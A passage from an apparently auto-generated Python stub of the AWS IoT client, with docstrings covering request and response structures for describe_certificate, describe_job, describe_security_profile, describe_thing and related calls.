--* Whether the CA certificate configured for auto registration of device certificates. Valid values are "ENABLE" and "DISABLE" - **lastModifiedDate** *(datetime) --* The date the CA certificate was last modified. - **customerVersion** *(integer) --* The customer version of the CA certificate. - **generationId** *(string) --* The generation ID of the CA certificate. - **validity** *(dict) --* When the CA certificate is valid. - **notBefore** *(datetime) --* The certificate is not valid before this date. - **notAfter** *(datetime) --* The certificate is not valid after this date. - **registrationConfig** *(dict) --* Information about the registration configuration. - **templateBody** *(string) --* The template body. - **roleArn** *(string) --* The ARN of the role. :type certificateId: string :param certificateId: **[REQUIRED]** The CA certificate identifier. :rtype: dict :returns: """ pass def describe_certificate(self, certificateId: str) -> Dict: """ Gets information about the specified certificate. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeCertificate>`_ **Request Syntax** :: response = client.describe_certificate( certificateId='string' ) **Response Syntax** :: { 'certificateDescription': { 'certificateArn': 'string', 'certificateId': 'string', 'caCertificateId': 'string', 'status': 'ACTIVE'|'INACTIVE'|'REVOKED'|'PENDING_TRANSFER'|'REGISTER_INACTIVE'|'PENDING_ACTIVATION', 'certificatePem': 'string', 'ownedBy': 'string', 'previousOwnedBy': 'string', 'creationDate': datetime(2015, 1, 1), 'lastModifiedDate': datetime(2015, 1, 1), 'customerVersion': 123, 'transferData': { 'transferMessage': 'string', 'rejectReason': 'string', 'transferDate': datetime(2015, 1, 1), 'acceptDate': datetime(2015, 1, 1), 'rejectDate': datetime(2015, 1, 1) }, 'generationId': 'string', 'validity': { 'notBefore': datetime(2015, 1, 1), 'notAfter': datetime(2015, 1, 1) } } } **Response Structure** - *(dict) --* The output of the DescribeCertificate operation. - **certificateDescription** *(dict) --* The description of the certificate. - **certificateArn** *(string) --* The ARN of the certificate. - **certificateId** *(string) --* The ID of the certificate. - **caCertificateId** *(string) --* The certificate ID of the CA certificate used to sign this certificate. - **status** *(string) --* The status of the certificate. - **certificatePem** *(string) --* The certificate data, in PEM format. - **ownedBy** *(string) --* The ID of the AWS account that owns the certificate. - **previousOwnedBy** *(string) --* The ID of the AWS account of the previous owner of the certificate. - **creationDate** *(datetime) --* The date and time the certificate was created. - **lastModifiedDate** *(datetime) --* The date and time the certificate was last modified. - **customerVersion** *(integer) --* The customer version of the certificate. - **transferData** *(dict) --* The transfer data. - **transferMessage** *(string) --* The transfer message. - **rejectReason** *(string) --* The reason why the transfer was rejected. - **transferDate** *(datetime) --* The date the transfer took place. - **acceptDate** *(datetime) --* The date the transfer was accepted. - **rejectDate** *(datetime) --* The date the transfer was rejected. - **generationId** *(string) --* The generation ID of the certificate. - **validity** *(dict) --* When the certificate is valid. - **notBefore** *(datetime) --* The certificate is not valid before this date. - **notAfter** *(datetime) --* The certificate is not valid after this date. :type certificateId: string :param certificateId: **[REQUIRED]** The ID of the certificate. (The last part of the certificate ARN contains the certificate ID.) :rtype: dict :returns: """ pass def describe_default_authorizer(self) -> Dict: """ Describes the default authorizer. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeDefaultAuthorizer>`_ **Request Syntax** :: response = client.describe_default_authorizer() **Response Syntax** :: { 'authorizerDescription': { 'authorizerName': 'string', 'authorizerArn': 'string', 'authorizerFunctionArn': 'string', 'tokenKeyName': 'string', 'tokenSigningPublicKeys': { 'string': 'string' }, 'status': 'ACTIVE'|'INACTIVE', 'creationDate': datetime(2015, 1, 1), 'lastModifiedDate': datetime(2015, 1, 1) } } **Response Structure** - *(dict) --* - **authorizerDescription** *(dict) --* The default authorizer's description. - **authorizerName** *(string) --* The authorizer name. - **authorizerArn** *(string) --* The authorizer ARN. - **authorizerFunctionArn** *(string) --* The authorizer's Lambda function ARN. - **tokenKeyName** *(string) --* The key used to extract the token from the HTTP headers. - **tokenSigningPublicKeys** *(dict) --* The public keys used to validate the token signature returned by your custom authentication service. - *(string) --* - *(string) --* - **status** *(string) --* The status of the authorizer. - **creationDate** *(datetime) --* The UNIX timestamp of when the authorizer was created. - **lastModifiedDate** *(datetime) --* The UNIX timestamp of when the authorizer was last updated. :rtype: dict :returns: """ pass def describe_endpoint(self, endpointType: str = None) -> Dict: """ Returns a unique endpoint specific to the AWS account making the call. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeEndpoint>`_ **Request Syntax** :: response = client.describe_endpoint( endpointType='string' ) **Response Syntax** :: { 'endpointAddress': 'string' } **Response Structure** - *(dict) --* The output from the DescribeEndpoint operation. - **endpointAddress** *(string) --* The endpoint. The format of the endpoint is as follows: *identifier* .iot.*region* .amazonaws.com. :type endpointType: string :param endpointType: The endpoint type. Valid endpoint types include: * ``iot:Data`` - Returns a VeriSign signed data endpoint. * ``iot:Data-ATS`` - Returns an ATS signed data endpoint. * ``iot:CredentialProvider`` - Returns an AWS IoT credentials provider API endpoint. * ``iot:Jobs`` - Returns an AWS IoT device management Jobs API endpoint. :rtype: dict :returns: """ pass def describe_event_configurations(self) -> Dict: """ Describes event configurations. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeEventConfigurations>`_ **Request Syntax** :: response = client.describe_event_configurations() **Response Syntax** :: { 'eventConfigurations': { 'string': { 'Enabled': True|False } }, 'creationDate': datetime(2015, 1, 1), 'lastModifiedDate': datetime(2015, 1, 1) } **Response Structure** - *(dict) --* - **eventConfigurations** *(dict) --* The event configurations. - *(string) --* - *(dict) --* Configuration. - **Enabled** *(boolean) --* True to enable the configuration. - **creationDate** *(datetime) --* The creation date of the event configuration. - **lastModifiedDate** *(datetime) --* The date the event configurations were last modified. :rtype: dict :returns: """ pass def describe_index(self, indexName: str) -> Dict: """ Describes a search index. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeIndex>`_ **Request Syntax** :: response = client.describe_index( indexName='string' ) **Response Syntax** :: { 'indexName': 'string', 'indexStatus': 'ACTIVE'|'BUILDING'|'REBUILDING', 'schema': 'string' } **Response Structure** - *(dict) --* - **indexName** *(string) --* The index name. - **indexStatus** *(string) --* The index status. - **schema** *(string) --* Contains a value that specifies the type of indexing performed. Valid values are: * REGISTRY – Your thing index contains only registry data. * REGISTRY_AND_SHADOW - Your thing index contains registry data and shadow data. * REGISTRY_AND_CONNECTIVITY_STATUS - Your thing index contains registry data and thing connectivity status data. * REGISTRY_AND_SHADOW_AND_CONNECTIVITY_STATUS - Your thing index contains registry data, shadow data, and thing connectivity status data. :type indexName: string :param indexName: **[REQUIRED]** The index name. :rtype: dict :returns: """ pass def describe_job(self, jobId: str) -> Dict: """ Describes a job. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeJob>`_ **Request Syntax** :: response = client.describe_job( jobId='string' ) **Response Syntax** :: { 'documentSource': 'string', 'job': { 'jobArn': 'string', 'jobId': 'string', 'targetSelection': 'CONTINUOUS'|'SNAPSHOT', 'status': 'IN_PROGRESS'|'CANCELED'|'COMPLETED'|'DELETION_IN_PROGRESS', 'forceCanceled': True|False, 'reasonCode': 'string', 'comment': 'string', 'targets': [ 'string', ], 'description': 'string', 'presignedUrlConfig': { 'roleArn': 'string', 'expiresInSec': 123 }, 'jobExecutionsRolloutConfig': { 'maximumPerMinute': 123, 'exponentialRate': { 'baseRatePerMinute': 123, 'incrementFactor': 123.0, 'rateIncreaseCriteria': { 'numberOfNotifiedThings': 123, 'numberOfSucceededThings': 123 } } }, 'abortConfig': { 'criteriaList': [ { 'failureType': 'FAILED'|'REJECTED'|'TIMED_OUT'|'ALL', 'action': 'CANCEL', 'thresholdPercentage': 123.0, 'minNumberOfExecutedThings': 123 }, ] }, 'createdAt': datetime(2015, 1, 1), 'lastUpdatedAt': datetime(2015, 1, 1), 'completedAt': datetime(2015, 1, 1), 'jobProcessDetails': { 'processingTargets': [ 'string', ], 'numberOfCanceledThings': 123, 'numberOfSucceededThings': 123, 'numberOfFailedThings': 123, 'numberOfRejectedThings': 123, 'numberOfQueuedThings': 123, 'numberOfInProgressThings': 123, 'numberOfRemovedThings': 123, 'numberOfTimedOutThings': 123 }, 'timeoutConfig': { 'inProgressTimeoutInMinutes': 123 } } } **Response Structure** - *(dict) --* - **documentSource** *(string) --* An S3 link to the job document. - **job** *(dict) --* Information about the job. - **jobArn** *(string) --* An ARN identifying the job with format "arn:aws:iot:region:account:job/jobId". - **jobId** *(string) --* The unique identifier you assigned to this job when it was created. - **targetSelection** *(string) --* Specifies whether the job will continue to run (CONTINUOUS), or will be complete after all those things specified as targets have completed the job (SNAPSHOT). If continuous, the job may also be run on a thing when a change is detected in a target. For example, a job will run on a device when the thing representing the device is added to a target group, even after the job was completed by all things originally in the group. - **status** *(string) --* The status of the job, one of ``IN_PROGRESS`` , ``CANCELED`` , ``DELETION_IN_PROGRESS`` or ``COMPLETED`` . - **forceCanceled** *(boolean) --* Will be ``true`` if the job was canceled with the optional ``force`` parameter set to ``true`` . - **reasonCode** *(string) --* If the job was updated, provides the reason code for the update. - **comment** *(string) --* If the job was updated, describes the reason for the update. - **targets** *(list) --* A list of IoT things and thing groups to which the job should be sent. - *(string) --* - **description** *(string) --* A short text description of the job. - **presignedUrlConfig** *(dict) --* Configuration for pre-signed S3 URLs. - **roleArn** *(string) --* The ARN of an IAM role that grants grants permission to download files from the S3 bucket where the job data/updates are stored. The role must also grant permission for IoT to download the files. - **expiresInSec** *(integer) --* How long (in seconds) pre-signed URLs are valid. Valid values are 60 - 3600, the default value is 3600 seconds. Pre-signed URLs are generated when Jobs receives an MQTT request for the job document. - **jobExecutionsRolloutConfig** *(dict) --* Allows you to create a staged rollout of a job. - **maximumPerMinute** *(integer) --* The maximum number of things that will be notified of a pending job, per minute. This parameter allows you to create a staged rollout. - **exponentialRate** *(dict) --* The rate of increase for a job rollout. This parameter allows you to define an exponential rate for a job rollout. - **baseRatePerMinute** *(integer) --* The minimum number of things that will be notified of a pending job, per minute at the start of job rollout. This parameter allows you to define the initial rate of rollout. - **incrementFactor** *(float) --* The exponential factor to increase the rate of rollout for a job. - **rateIncreaseCriteria** *(dict) --* The criteria to initiate the increase in rate of rollout for a job. AWS IoT supports up to one digit after the decimal (for example, 1.5, but not 1.55). - **numberOfNotifiedThings** *(integer) --* The threshold for number of notified things that will initiate the increase in rate of rollout. - **numberOfSucceededThings** *(integer) --* The threshold for number of succeeded things that will initiate the increase in rate of rollout. - **abortConfig** *(dict) --* Configuration for criteria to abort the job. - **criteriaList** *(list) --* The list of abort criteria to define rules to abort the job. - *(dict) --* Details of abort criteria to define rules to abort the job. - **failureType** *(string) --* The type of job execution failure to define a rule to initiate a job abort. - **action** *(string) --* The type of abort action to initiate a job abort. - **thresholdPercentage** *(float) --* The threshold as a percentage of the total number of executed things that will initiate a job abort. AWS IoT supports up to two digits after the decimal (for example, 10.9 and 10.99, but not 10.999). - **minNumberOfExecutedThings** *(integer) --* Minimum number of executed things before evaluating an abort rule. - **createdAt** *(datetime) --* The time, in seconds since the epoch, when the job was created. - **lastUpdatedAt** *(datetime) --* The time, in seconds since the epoch, when the job was last updated. - **completedAt** *(datetime) --* The time, in seconds since the epoch, when the job was completed. - **jobProcessDetails** *(dict) --* Details about the job process. - **processingTargets** *(list) --* The target devices to which the job execution is being rolled out. This value will be null after the job execution has finished rolling out to all the target devices. - *(string) --* - **numberOfCanceledThings** *(integer) --* The number of things that cancelled the job. - **numberOfSucceededThings** *(integer) --* The number of things which successfully completed the job. - **numberOfFailedThings** *(integer) --* The number of things that failed executing the job. - **numberOfRejectedThings** *(integer) --* The number of things that rejected the job. - **numberOfQueuedThings** *(integer) --* The number of things that are awaiting execution of the job. - **numberOfInProgressThings** *(integer) --* The number of things currently executing the job. - **numberOfRemovedThings** *(integer) --* The number of things that are no longer scheduled to execute the job because they have been deleted or have been removed from the group that was a target of the job. - **numberOfTimedOutThings** *(integer) --* The number of things whose job execution status is ``TIMED_OUT`` . - **timeoutConfig** *(dict) --* Specifies the amount of time each device has to finish its execution of the job. A timer is started when the job execution status is set to ``IN_PROGRESS`` . If the job execution status is not set to another terminal state before the timer expires, it will be automatically set to ``TIMED_OUT`` . - **inProgressTimeoutInMinutes** *(integer) --* Specifies the amount of time, in minutes, this device has to finish execution of this job. The timeout interval can be anywhere between 1 minute and 7 days (1 to 10080 minutes). The in progress timer can't be updated and will apply to all job executions for the job. Whenever a job execution remains in the IN_PROGRESS status for longer than this interval, the job execution will fail and switch to the terminal ``TIMED_OUT`` status. :type jobId: string :param jobId: **[REQUIRED]** The unique identifier you assigned to this job when it was created. :rtype: dict :returns: """ pass def describe_job_execution(self, jobId: str, thingName: str, executionNumber: int = None) -> Dict: """ Describes a job execution. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeJobExecution>`_ **Request Syntax** :: response = client.describe_job_execution( jobId='string', thingName='string', executionNumber=123 ) **Response Syntax** :: { 'execution': { 'jobId': 'string', 'status': 'QUEUED'|'IN_PROGRESS'|'SUCCEEDED'|'FAILED'|'TIMED_OUT'|'REJECTED'|'REMOVED'|'CANCELED', 'forceCanceled': True|False, 'statusDetails': { 'detailsMap': { 'string': 'string' } }, 'thingArn': 'string', 'queuedAt': datetime(2015, 1, 1), 'startedAt': datetime(2015, 1, 1), 'lastUpdatedAt': datetime(2015, 1, 1), 'executionNumber': 123, 'versionNumber': 123, 'approximateSecondsBeforeTimedOut': 123 } } **Response Structure** - *(dict) --* - **execution** *(dict) --* Information about the job execution. - **jobId** *(string) --* The unique identifier you assigned to the job when it was created. - **status** *(string) --* The status of the job execution (IN_PROGRESS, QUEUED, FAILED, SUCCEEDED, TIMED_OUT, CANCELED, or REJECTED). - **forceCanceled** *(boolean) --* Will be ``true`` if the job execution was canceled with the optional ``force`` parameter set to ``true`` . - **statusDetails** *(dict) --* A collection of name/value pairs that describe the status of the job execution. - **detailsMap** *(dict) --* The job execution status. - *(string) --* - *(string) --* - **thingArn** *(string) --* The ARN of the thing on which the job execution is running. - **queuedAt** *(datetime) --* The time, in seconds since the epoch, when the job execution was queued. - **startedAt** *(datetime) --* The time, in seconds since the epoch, when the job execution started. - **lastUpdatedAt** *(datetime) --* The time, in seconds since the epoch, when the job execution was last updated. - **executionNumber** *(integer) --* A string (consisting of the digits "0" through "9") which identifies this particular job execution on this particular device. It can be used in commands which return or update job execution information. - **versionNumber** *(integer) --* The version of the job execution. Job execution versions are incremented each time they are updated by a device. - **approximateSecondsBeforeTimedOut** *(integer) --* The estimated number of seconds that remain before the job execution status will be changed to ``TIMED_OUT`` . The timeout interval can be anywhere between 1 minute and 7 days (1 to 10080 minutes). The actual job execution timeout can occur up to 60 seconds later than the estimated duration. This value will not be included if the job execution has reached a terminal status. :type jobId: string :param jobId: **[REQUIRED]** The unique identifier you assigned to this job when it was created. :type thingName: string :param thingName: **[REQUIRED]** The name of the thing on which the job execution is running. :type executionNumber: integer :param executionNumber: A string (consisting of the digits \"0\" through \"9\" which is used to specify a particular job execution on a particular device. :rtype: dict :returns: """ pass def describe_role_alias(self, roleAlias: str) -> Dict: """ Describes a role alias. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeRoleAlias>`_ **Request Syntax** :: response = client.describe_role_alias( roleAlias='string' ) **Response Syntax** :: { 'roleAliasDescription': { 'roleAlias': 'string', 'roleAliasArn': 'string', 'roleArn': 'string', 'owner': 'string', 'credentialDurationSeconds': 123, 'creationDate': datetime(2015, 1, 1), 'lastModifiedDate': datetime(2015, 1, 1) } } **Response Structure** - *(dict) --* - **roleAliasDescription** *(dict) --* The role alias description. - **roleAlias** *(string) --* The role alias. - **roleAliasArn** *(string) --* The ARN of the role alias. - **roleArn** *(string) --* The role ARN. - **owner** *(string) --* The role alias owner. - **credentialDurationSeconds** *(integer) --* The number of seconds for which the credential is valid. - **creationDate** *(datetime) --* The UNIX timestamp of when the role alias was created. - **lastModifiedDate** *(datetime) --* The UNIX timestamp of when the role alias was last modified. :type roleAlias: string :param roleAlias: **[REQUIRED]** The role alias to describe. :rtype: dict :returns: """ pass def describe_scheduled_audit(self, scheduledAuditName: str) -> Dict: """ Gets information about a scheduled audit. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeScheduledAudit>`_ **Request Syntax** :: response = client.describe_scheduled_audit( scheduledAuditName='string' ) **Response Syntax** :: { 'frequency': 'DAILY'|'WEEKLY'|'BIWEEKLY'|'MONTHLY', 'dayOfMonth': 'string', 'dayOfWeek': 'SUN'|'MON'|'TUE'|'WED'|'THU'|'FRI'|'SAT', 'targetCheckNames': [ 'string', ], 'scheduledAuditName': 'string', 'scheduledAuditArn': 'string' } **Response Structure** - *(dict) --* - **frequency** *(string) --* How often the scheduled audit takes place. One of "DAILY", "WEEKLY", "BIWEEKLY" or "MONTHLY". The actual start time of each audit is determined by the system. - **dayOfMonth** *(string) --* The day of the month on which the scheduled audit takes place. Will be "1" through "31" or "LAST". If days 29-31 are specified, and the month does not have that many days, the audit takes place on the "LAST" day of the month. - **dayOfWeek** *(string) --* The day of the week on which the scheduled audit takes place. One of "SUN", "MON", "TUE", "WED", "THU", "FRI" or "SAT". - **targetCheckNames** *(list) --* Which checks are performed during the scheduled audit. (Note that checks must be enabled for your account. (Use ``DescribeAccountAuditConfiguration`` to see the list of all checks including those that are enabled or ``UpdateAccountAuditConfiguration`` to select which checks are enabled.) - *(string) --* An audit check name. Checks must be enabled for your account. (Use ``DescribeAccountAuditConfiguration`` to see the list of all checks including those that are enabled or ``UpdateAccountAuditConfiguration`` to select which checks are enabled.) - **scheduledAuditName** *(string) --* The name of the scheduled audit. - **scheduledAuditArn** *(string) --* The ARN of the scheduled audit. :type scheduledAuditName: string :param scheduledAuditName: **[REQUIRED]** The name of the scheduled audit whose information you want to get. :rtype: dict :returns: """ pass def describe_security_profile(self, securityProfileName: str) -> Dict: """ Gets information about a Device Defender security profile. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeSecurityProfile>`_ **Request Syntax** :: response = client.describe_security_profile( securityProfileName='string' ) **Response Syntax** :: { 'securityProfileName': 'string', 'securityProfileArn': 'string', 'securityProfileDescription': 'string', 'behaviors': [ { 'name': 'string', 'metric': 'string', 'criteria': { 'comparisonOperator': 'less-than'|'less-than-equals'|'greater-than'|'greater-than-equals'|'in-cidr-set'|'not-in-cidr-set'|'in-port-set'|'not-in-port-set', 'value': { 'count': 123, 'cidrs': [ 'string', ], 'ports': [ 123, ] }, 'durationSeconds': 123, 'consecutiveDatapointsToAlarm': 123, 'consecutiveDatapointsToClear': 123, 'statisticalThreshold': { 'statistic': 'string' } } }, ], 'alertTargets': { 'string': { 'alertTargetArn': 'string', 'roleArn': 'string' } }, 'additionalMetricsToRetain': [ 'string', ], 'version': 123, 'creationDate': datetime(2015, 1, 1), 'lastModifiedDate': datetime(2015, 1, 1) } **Response Structure** - *(dict) --* - **securityProfileName** *(string) --* The name of the security profile. - **securityProfileArn** *(string) --* The ARN of the security profile. - **securityProfileDescription** *(string) --* A description of the security profile (associated with the security profile when it was created or updated). - **behaviors** *(list) --* Specifies the behaviors that, when violated by a device (thing), cause an alert. - *(dict) --* A Device Defender security profile behavior. - **name** *(string) --* The name you have given to the behavior. - **metric** *(string) --* What is measured by the behavior. - **criteria** *(dict) --* The criteria that determine if a device is behaving normally in regard to the ``metric`` . - **comparisonOperator** *(string) --* The operator that relates the thing measured (``metric`` ) to the criteria (containing a ``value`` or ``statisticalThreshold`` ). - **value** *(dict) --* The value to be compared with the ``metric`` . - **count** *(integer) --* If the ``comparisonOperator`` calls for a numeric value, use this to specify that numeric value to be compared with the ``metric`` . - **cidrs** *(list) --* If the ``comparisonOperator`` calls for a set of CIDRs, use this to specify that set to be compared with the ``metric`` . - *(string) --* - **ports** *(list) --* If the ``comparisonOperator`` calls for a set of ports, use this to specify that set to be compared with the ``metric`` . - *(integer) --* - **durationSeconds** *(integer) --* Use this to specify the time duration over which the behavior is evaluated, for those criteria which have a time dimension (for example, ``NUM_MESSAGES_SENT`` ). For a ``statisticalThreshhold`` metric comparison, measurements from all devices are accumulated over this time duration before being used to calculate percentiles, and later, measurements from an individual device are also accumulated over this time duration before being given a percentile rank. - **consecutiveDatapointsToAlarm** *(integer) --* If a device is in violation of the behavior for the specified number of consecutive datapoints, an alarm occurs. If not specified, the default is 1. - **consecutiveDatapointsToClear** *(integer) --* If an alarm has occurred and the offending device is no longer in violation of the behavior for the specified number of consecutive datapoints, the alarm is cleared. If not specified, the default is 1. - **statisticalThreshold** *(dict) --* A statistical ranking (percentile) which indicates a threshold value by which a behavior is determined to be in compliance or in violation of the behavior. - **statistic** *(string) --* The percentile which resolves to a threshold value by which compliance with a behavior is determined. Metrics are collected over the specified period (``durationSeconds`` ) from all reporting devices in your account and statistical ranks are calculated. Then, the measurements from a device are collected over the same period. If the accumulated measurements from the device fall above or below (``comparisonOperator`` ) the value associated with the percentile specified, then the device is considered to be in compliance with the behavior, otherwise a violation occurs. - **alertTargets** *(dict) --* Where the alerts are sent. (Alerts are always sent to the console.) - *(string) --* The type of alert target: one of "SNS". - *(dict) --* A structure containing the alert target ARN and the role ARN. - **alertTargetArn** *(string) --* The ARN of the notification target to which alerts are sent. - **roleArn** *(string) --* The ARN of the role that grants permission to send alerts to the notification target. - **additionalMetricsToRetain** *(list) --* A list of metrics whose data is retained (stored). By default, data is retained for any metric used in the profile's ``behaviors`` but it is also retained for any metric specified here. - *(string) --* - **version** *(integer) --* The version of the security profile. A new version is generated whenever the security profile is updated. - **creationDate** *(datetime) --* The time the security profile was created. - **lastModifiedDate** *(datetime) --* The time the security profile was last modified. :type securityProfileName: string :param securityProfileName: **[REQUIRED]** The name of the security profile whose information you want to get. :rtype: dict :returns: """ pass def describe_stream(self, streamId: str) -> Dict: """ Gets information about a stream. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeStream>`_ **Request Syntax** :: response = client.describe_stream( streamId='string' ) **Response Syntax** :: { 'streamInfo': { 'streamId': 'string', 'streamArn': 'string', 'streamVersion': 123, 'description': 'string', 'files': [ { 'fileId': 123, 's3Location': { 'bucket': 'string', 'key': 'string', 'version': 'string' } }, ], 'createdAt': datetime(2015, 1, 1), 'lastUpdatedAt': datetime(2015, 1, 1), 'roleArn': 'string' } } **Response Structure** - *(dict) --* - **streamInfo** *(dict) --* Information about the stream. - **streamId** *(string) --* The stream ID. - **streamArn** *(string) --* The stream ARN. - **streamVersion** *(integer) --* The stream version. - **description** *(string) --* The description of the stream. - **files** *(list) --* The files to stream. - *(dict) --* Represents a file to stream. - **fileId** *(integer) --* The file ID. - **s3Location** *(dict) --* The location of the file in S3. - **bucket** *(string) --* The S3 bucket. - **key** *(string) --* The S3 key. - **version** *(string) --* The S3 bucket version. - **createdAt** *(datetime) --* The date when the stream was created. - **lastUpdatedAt** *(datetime) --* The date when the stream was last updated. - **roleArn** *(string) --* An IAM role AWS IoT assumes to access your S3 files. :type streamId: string :param streamId: **[REQUIRED]** The stream ID. :rtype: dict :returns: """ pass def describe_thing(self, thingName: str) -> Dict: """ Gets information about the specified thing. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeThing>`_ **Request Syntax** :: response = client.describe_thing( thingName='string' ) **Response Syntax** :: { 'defaultClientId': 'string', 'thingName': 'string', 'thingId': 'string', 'thingArn': 'string', 'thingTypeName': 'string', 'attributes': { 'string': 'string' }, 'version': 123, 'billingGroupName': 'string' } **Response Structure** - *(dict) --* The output from the DescribeThing operation. - **defaultClientId** *(string) --* The default client ID. - **thingName** *(string) --* The name of the thing. - **thingId** *(string) --* The ID of the thing to describe. - **thingArn** *(string) --* The ARN of the thing to describe. - **thingTypeName** *(string) --* The thing type name. - **attributes** *(dict) --* The thing attributes. - *(string) --* - *(string) --* - **version** *(integer) --* The current version of the thing record in the registry. .. note:: To avoid unintentional changes to the information in the registry, you can pass the version information in the ``expectedVersion`` parameter of the ``UpdateThing`` and ``DeleteThing`` calls. - **billingGroupName** *(string) --* The name of the billing group the thing belongs to. :type thingName: string :param thingName: **[REQUIRED]** The name of the thing. :rtype: dict :returns: """ pass def describe_thing_group(self, thingGroupName: str) -> Dict: """ Describe a thing group. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeThingGroup>`_ **Request Syntax** :: response = client.describe_thing_group( thingGroupName='string' ) **Response Syntax** :: { 'thingGroupName': 'string', 'thingGroupId': 'string', 'thingGroupArn': 'string', 'version': 123, 'thingGroupProperties': { 'thingGroupDescription': 'string', 'attributePayload': { 'attributes': { 'string': 'string' }, 'merge': True|False } }, 'thingGroupMetadata': { 'parentGroupName': 'string', 'rootToParentThingGroups': [ { 'groupName': 'string', 'groupArn': 'string' }, ], 'creationDate': datetime(2015, 1, 1) }, 'indexName': 'string', 'queryString': 'string', 'queryVersion': 'string', 'status': 'ACTIVE'|'BUILDING'|'REBUILDING' } **Response Structure** - *(dict) --* - **thingGroupName** *(string) --* The name of the thing group. - **thingGroupId** *(string) --* The thing group ID. - **thingGroupArn** *(string) --* The thing group ARN. - **version** *(integer) --* The version of the thing group. - **thingGroupProperties** *(dict) --* The thing group properties. - **thingGroupDescription** *(string) --* The thing group description. - **attributePayload** *(dict) --* The thing group attributes in JSON format. - **attributes** *(dict) --* A JSON string containing up to three key-value pair in JSON format. For example: ``{\"attributes\":{\"string1\":\"string2\"}}`` - *(string) --* - *(string) --* - **merge** *(boolean) --* Specifies whether the list of attributes provided in the ``AttributePayload`` is merged with the attributes stored in the registry, instead of overwriting them. To remove an attribute, call ``UpdateThing`` with an empty attribute value. .. note:: The ``merge`` attribute is only valid when calling ``UpdateThing`` . - **thingGroupMetadata** *(dict) --* Thing group metadata. - **parentGroupName** *(string) --* The parent thing group name. - **rootToParentThingGroups** *(list) --* The root parent thing group. - *(dict) --* The name and ARN of a group. - **groupName** *(string) --* The group name. - **groupArn** *(string) --* The group ARN. - **creationDate** *(datetime) --* The UNIX timestamp of when the thing group was created. - **indexName** *(string) --* The dynamic thing group index name. - **queryString** *(string) --* The dynamic thing group search query string. - **queryVersion** *(string) --* The dynamic thing group query version. - **status** *(string) --* The dynamic thing group status. :type thingGroupName: string :param thingGroupName: **[REQUIRED]** The name of the thing group. :rtype: dict :returns: """ pass def describe_thing_registration_task(self, taskId: str) -> Dict: """ Describes a bulk thing provisioning task. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeThingRegistrationTask>`_ **Request Syntax** :: response = client.describe_thing_registration_task( taskId='string' ) **Response Syntax** :: { 'taskId': 'string', 'creationDate': datetime(2015, 1, 1), 'lastModifiedDate': datetime(2015, 1, 1), 'templateBody': 'string', 'inputFileBucket': 'string', 'inputFileKey': 'string', 'roleArn': 'string', 'status': 'InProgress'|'Completed'|'Failed'|'Cancelled'|'Cancelling', 'message': 'string', 'successCount': 123, 'failureCount': 123, 'percentageProgress': 123 } **Response Structure** - *(dict) --* - **taskId** *(string) --* The task ID. - **creationDate** *(datetime) --* The task creation date. - **lastModifiedDate** *(datetime) --* The date when the task was last modified. - **templateBody** *(string) --* The task's template. - **inputFileBucket** *(string) --* The S3 bucket that contains the input file. - **inputFileKey** *(string) --* The input file key. - **roleArn** *(string) --* The role ARN that grants access to the input file bucket. - **status** *(string) --* The status of the bulk thing provisioning task. - **message** *(string) --* The message. - **successCount** *(integer) --* The number of things successfully provisioned. - **failureCount** *(integer) --* The number of things that failed to be provisioned. - **percentageProgress** *(integer) --* The progress of the bulk provisioning task expressed as a percentage. :type taskId: string :param taskId: **[REQUIRED]** The task ID. :rtype: dict :returns: """ pass def describe_thing_type(self, thingTypeName: str) -> Dict: """ Gets information about the specified thing type. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeThingType>`_ **Request Syntax** :: response = client.describe_thing_type( thingTypeName='string' ) **Response Syntax** :: { 'thingTypeName': 'string', 'thingTypeId': 'string', 'thingTypeArn': 'string', 'thingTypeProperties': { 'thingTypeDescription': 'string', 'searchableAttributes': [ 'string', ] }, 'thingTypeMetadata': { 'deprecated': True|False, 'deprecationDate': datetime(2015, 1, 1), 'creationDate': datetime(2015, 1, 1) } } **Response Structure** - *(dict) --* The output for the DescribeThingType operation. - **thingTypeName** *(string) --* The name of the thing type. - **thingTypeId** *(string) --* The thing type ID. - **thingTypeArn** *(string) --* The thing type ARN. - **thingTypeProperties** *(dict) --* The ThingTypeProperties contains information about the thing type including description, and a list of searchable thing attribute names. - **thingTypeDescription** *(string) --* The description of the thing type. - **searchableAttributes** *(list) --* A list of searchable thing attribute names. - *(string) --* - **thingTypeMetadata** *(dict) --* The ThingTypeMetadata contains additional information about the thing type including: creation date and time, a value indicating whether the thing type is deprecated, and a date and time when it was deprecated. - **deprecated** *(boolean) --* Whether the thing type is deprecated. If **true** , no new things could be associated with this type. - **deprecationDate** *(datetime) --* The date and time when the thing type was deprecated. - **creationDate** *(datetime) --* The date and time when the thing type was created. :type thingTypeName: string :param thingTypeName: **[REQUIRED]** The name of the thing type. :rtype: dict :returns: """ pass def detach_policy(self, policyName: str, target: str): """ Detaches a policy from the specified target. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DetachPolicy>`_ **Request Syntax** :: response = client.detach_policy( policyName='string', target='string' ) :type policyName: string :param policyName: **[REQUIRED]** The policy to detach. :type target: string :param target: **[REQUIRED]** The target from which the policy will be detached. :returns: None """ pass def detach_principal_policy(self, policyName: str, principal: str): """ Removes the specified policy from the 